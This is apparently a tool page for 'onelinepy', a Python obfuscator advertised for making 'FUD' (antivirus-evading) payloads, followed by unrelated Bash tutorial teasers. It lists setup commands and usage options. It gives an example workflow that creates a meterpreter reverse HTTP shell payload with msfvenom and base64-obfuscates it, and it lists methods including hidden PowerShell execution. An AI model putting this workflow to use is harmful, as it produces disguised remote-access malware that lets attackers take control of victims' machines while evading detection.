Onelinepy is a Python Obfuscator To Generate One-Liners And FUD Payloads.
Download & Run
git clone https://github.com/spicesouls/onelinepy
cd onelinepy
chmod +x setup.sh
./setup.sh
onelinepy
Usage Guide
_ | || _ _
| . | | –| | | | –| . | | | Python
|||||||||| | | Obfustucator |_| ||
usage: oneline.py [-h] [-m M] [-i I] [–script SCRIPT] [–code CODE] [–list] [–output OUTPUT]
optional arguments:
-h, –help show this help message and exit
-m M Obfustucating Method (i.e, -m /one_line/base64)
-i I Iterations For Obfustucation.
–script SCRIPT File path of Python file to Obfustucate.
–code CODE Python code to Obfustucate.
–list List Obfustucating Methods.
–output OUTPUT Output File.
msfvenom --payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt
onelinepy -m /one_line/base64 --script payload.txt -i 3 --output obfustucated_payload.txt
More Examples
onelinepy -m /one_line/base64 –script payload.py -i 3
onelinepy -m /one_line/hex –code “print(‘HEX!’)”
Obfustucation Method List
_ | || _ _
| . | | –| | | | –| . | | | Python
|||||||||| | | Obfustucator |_| ||
Obfustucators ( * = May cause Syntax Errors )
-=============-
0 /one_line/hex
1 /one_line/base64
2 /one_line/base32
3 /one_line/gunzip*
4 /one_line/rot13*
5 /cmd/command
6 /cmd/powershell
7 /cmd/powershellhidden
What Are Bash Comments? In Bash scripting, comments are notes in your code that the…
When you write a Bash script in Linux, you want it to run correctly every…
Introduction If you’re new to Bash scripting, one of the first skills you’ll need is…
What is Bash Scripting? Bash scripting allows you to save multiple Linux commands in a file and…
When it comes to automating tasks on Linux, Bash scripting is an essential skill for both beginners…
Learn how to create and use Bash functions with this complete tutorial. Includes syntax, arguments,…